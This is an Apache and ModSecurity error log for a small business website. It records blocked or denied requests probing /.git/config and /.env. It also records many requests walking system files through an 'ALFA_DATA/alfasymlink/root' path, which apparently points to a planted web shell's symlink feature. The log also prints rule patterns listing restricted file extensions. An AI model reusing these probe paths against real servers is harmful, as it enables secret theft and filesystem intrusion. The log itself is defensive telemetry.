[Sun Oct 25 19:02:46.168421 2026] [ssl:error] [pid 2917051:tid 2917051] (70014)End of file found: [client 34.227.156.153:6222] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:02:55.402664 2026] [security2:error] [pid 2916957:tid 2916957] [client 185.191.171.4:13754] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/lib/rear/layout/diskdeps.conf"] [unique_id "at6Kn61xY-OweN-aX1IX_wAAABo"]
[Sun Oct 25 19:02:55.403050 2026] [security2:error] [pid 2916957:tid 2916957] [client 185.191.171.4:13754] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/lib/rear/layout/diskdeps.conf"] [unique_id "at6Kn61xY-OweN-aX1IX_wAAABo"]
[Sun Oct 25 19:02:55.403314 2026] [security2:error] [pid 2916957:tid 2916957] [client 185.191.171.4:13754] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/lib/rear/layout/diskdeps.conf"] [unique_id "at6Kn61xY-OweN-aX1IX_wAAABo"]
[Sun Oct 25 19:02:56.989112 2026] [security2:error] [pid 2913086:tid 2913086] [client 73.178.13.104:52223] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/optimize-serial-console/tuned.conf"] [unique_id "at6KoPP38Mg1nJbae9X5nwAAAAk"]
[Sun Oct 25 19:02:56.989642 2026] [security2:error] [pid 2913086:tid 2913086] [client 73.178.13.104:52223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/optimize-serial-console/tuned.conf"] [unique_id "at6KoPP38Mg1nJbae9X5nwAAAAk"]
[Sun Oct 25 19:02:56.989999 2026] [security2:error] [pid 2913086:tid 2913086] [client 73.178.13.104:52223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/optimize-serial-console/tuned.conf"] [unique_id "at6KoPP38Mg1nJbae9X5nwAAAAk"]
[Sun Oct 25 19:02:58.175102 2026] [ssl:error] [pid 2917051:tid 2917051] (70014)End of file found: [client 18.208.11.93:8813] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:02:59.940743 2026] [security2:error] [pid 2918479:tid 2918479] [client 105.119.47.249:48933] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/optimize-serial-console/tuned.conf"] [unique_id "at6Ko38vPgHdOPO6W4teFgAAAAo"]
[Sun Oct 25 19:02:59.941331 2026] [security2:error] [pid 2918479:tid 2918479] [client 105.119.47.249:48933] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/optimize-serial-console/tuned.conf"] [unique_id "at6Ko38vPgHdOPO6W4teFgAAAAo"]
[Sun Oct 25 19:02:59.941677 2026] [security2:error] [pid 2918479:tid 2918479] [client 105.119.47.249:48933] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/optimize-serial-console/tuned.conf"] [unique_id "at6Ko38vPgHdOPO6W4teFgAAAAo"]
[Sun Oct 25 19:03:02.169309 2026] [security2:error] [pid 2916957:tid 2916957] [client 86.164.134.16:50860] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/optimize-serial-console/tuned.conf"] [unique_id "at6Kpq1xY-OweN-aX1IYAAAAABo"]
[Sun Oct 25 19:03:02.169793 2026] [security2:error] [pid 2916957:tid 2916957] [client 86.164.134.16:50860] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/optimize-serial-console/tuned.conf"] [unique_id "at6Kpq1xY-OweN-aX1IYAAAAABo"]
[Sun Oct 25 19:03:02.170120 2026] [security2:error] [pid 2916957:tid 2916957] [client 86.164.134.16:50860] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/optimize-serial-console/tuned.conf"] [unique_id "at6Kpq1xY-OweN-aX1IYAAAAABo"]
[Sun Oct 25 19:03:10.188508 2026] [security2:error] [pid 2906066:tid 2906066] [client 136.70.165.31:50824] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6Krr_lIj1OAY0C3WweCQAAAAE"]
[Sun Oct 25 19:03:10.188757 2026] [security2:error] [pid 2906066:tid 2906066] [client 136.70.165.31:50824] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6Krr_lIj1OAY0C3WweCQAAAAE"]
[Sun Oct 25 19:03:10.189004 2026] [security2:error] [pid 2906066:tid 2906066] [client 136.70.165.31:50824] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6Krr_lIj1OAY0C3WweCQAAAAE"]
[Sun Oct 25 19:03:10.189266 2026] [security2:error] [pid 2906066:tid 2906066] [client 136.70.165.31:50824] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6Krr_lIj1OAY0C3WweCQAAAAE"]
[Sun Oct 25 19:03:10.816941 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 185.191.171.3:12786] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/cache_dma
[Sun Oct 25 19:03:14.568157 2026] [core:error] [pid 2918479:tid 2918479] (13)Permission denied: [client 78.105.209.159:9911] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/usersize
[Sun Oct 25 19:03:16.660891 2026] [core:error] [pid 2918513:tid 2918513] (13)Permission denied: [client 66.26.113.14:57091] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/usersize
[Sun Oct 25 19:03:17.850900 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 109.156.215.184:50848] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/usersize
[Sun Oct 25 19:03:18.141983 2026] [ssl:error] [pid 2908851:tid 2908851] (70014)End of file found: [client 107.20.25.33:53564] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:03:22.156901 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 52.6.97.88:37956] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:03:24.788188 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 108.2.198.39:40034] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/validate
[Sun Oct 25 19:03:26.302850 2026] [ssl:error] [pid 2918304:tid 2918304] (70014)End of file found: [client 35.174.141.243:60596] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:03:26.970722 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 144.124.196.101:18214] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/validate
[Sun Oct 25 19:03:30.263182 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 181.10.90.149:55752] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/validate
[Sun Oct 25 19:03:32.716338 2026] [core:error] [pid 2918479:tid 2918479] (13)Permission denied: [client 88.130.144.18:35557] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/total_objects
[Sun Oct 25 19:03:36.652875 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 68.53.163.186:33593] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/total_objects
[Sun Oct 25 19:03:38.195077 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 98.97.12.247:30792] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/total_objects
[Sun Oct 25 19:03:42.179402 2026] [ssl:error] [pid 2916902:tid 2916902] (70014)End of file found: [client 52.1.106.130:58697] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:03:44.074731 2026] [ssl:error] [pid 2918487:tid 2918487] (70014)End of file found: [client 107.171.172.136:53481] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:03:44.935664 2026] [core:error] [pid 2918479:tid 2918479] (13)Permission denied: [client 185.191.171.2:60382] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sigqueue/object_size
[Sun Oct 25 19:03:46.176711 2026] [ssl:error] [pid 2918513:tid 2918513] (70014)End of file found: [client 3.221.156.96:52278] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:03:51.041369 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 95.24.114.94:21308] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:03:58.027747 2026] [ssl:error] [pid 2918513:tid 2918513] (70014)End of file found: [client 187.13.243.96:12420] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:03:58.128456 2026] [ssl:error] [pid 2918304:tid 2918304] (70014)End of file found: [client 184.73.68.20:37044] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:04:02.206068 2026] [ssl:error] [pid 2918487:tid 2918487] (70014)End of file found: [client 52.2.191.202:34450] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:04:07.825947 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 71.114.158.74:51442] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/hwcache_align
[Sun Oct 25 19:04:08.644197 2026] [core:error] [pid 2918479:tid 2918479] (13)Permission denied: [client 179.125.146.165:50963] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/slab_size
[Sun Oct 25 19:04:09.189043 2026] [core:error] [pid 2918513:tid 2918513] (13)Permission denied: [client 128.92.182.18:9560] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/hwcache_align
[Sun Oct 25 19:04:10.669971 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 32.216.78.41:44571] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/slab_size
[Sun Oct 25 19:04:11.093916 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 181.118.53.162:40069] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/hwcache_align
[Sun Oct 25 19:04:12.303564 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 107.216.49.124:33753] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/slab_size
[Sun Oct 25 19:04:14.172296 2026] [ssl:error] [pid 2918513:tid 2918513] (70014)End of file found: [client 50.19.79.213:46036] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:04:22.178011 2026] [core:error] [pid 2916957:tid 2916957] (13)Permission denied: [client 50.16.248.61:26472] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/module/binfmt_misc/sections/__mcount_loc
[Sun Oct 25 19:04:30.130646 2026] [ssl:error] [pid 2914751:tid 2914751] (70014)End of file found: [client 54.156.124.2:50435] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:04:54.160053 2026] [ssl:error] [pid 2916955:tid 2916955] (70014)End of file found: [client 34.239.85.139:57067] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:05:11.659138 2026] [core:error] [pid 2918513:tid 2918513] (13)Permission denied: [client 86.132.159.102:50725] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/validate
[Sun Oct 25 19:05:13.883818 2026] [core:error] [pid 2916957:tid 2916957] (13)Permission denied: [client 105.159.188.60:38118] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/validate
[Sun Oct 25 19:05:14.721551 2026] [security2:error] [pid 2916902:tid 2916902] [client 8.217.152.4:57300] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at6LKsFRkznfJR6SfvAZRQAAABU"]
[Sun Oct 25 19:05:14.721774 2026] [security2:error] [pid 2916902:tid 2916902] [client 8.217.152.4:57300] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at6LKsFRkznfJR6SfvAZRQAAABU"]
[Sun Oct 25 19:05:14.722040 2026] [security2:error] [pid 2916902:tid 2916902] [client 8.217.152.4:57300] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at6LKsFRkznfJR6SfvAZRQAAABU"]
[Sun Oct 25 19:05:15.296408 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 85.208.96.210:45662] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UNIX/poison
[Sun Oct 25 19:05:16.216162 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 51.39.229.94:2921] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/validate
[Sun Oct 25 19:05:18.385805 2026] [security2:error] [pid 2918513:tid 2918513] [client 44.221.37.41:59940] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/usr/share/authselect/default/nis/nsswitch.conf"] [unique_id "at6LLtXDsULvFewyb_mq7wAAAA4"]
[Sun Oct 25 19:05:18.386240 2026] [security2:error] [pid 2918513:tid 2918513] [client 44.221.37.41:59940] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/usr/share/authselect/default/nis/nsswitch.conf"] [unique_id "at6LLtXDsULvFewyb_mq7wAAAA4"]
[Sun Oct 25 19:05:18.386535 2026] [security2:error] [pid 2918513:tid 2918513] [client 44.221.37.41:59940] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/usr/share/authselect/default/nis/nsswitch.conf"] [unique_id "at6LLtXDsULvFewyb_mq7wAAAA4"]
[Sun Oct 25 19:05:22.362782 2026] [ssl:error] [pid 2916954:tid 2916954] (70014)End of file found: [client 18.213.102.186:60745] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:05:32.597365 2026] [core:error] [pid 2916957:tid 2916957] (13)Permission denied: [client 93.112.175.52:41050] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/slabs
[Sun Oct 25 19:05:36.369335 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 169.155.251.107:50195] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/slabs
[Sun Oct 25 19:05:38.176698 2026] [core:error] [pid 2916954:tid 2916954] (13)Permission denied: [client 86.21.124.25:51782] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/slabs
[Sun Oct 25 19:05:52.898838 2026] [core:error] [pid 2916954:tid 2916954] (13)Permission denied: [client 137.118.168.85:33515] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/store_user
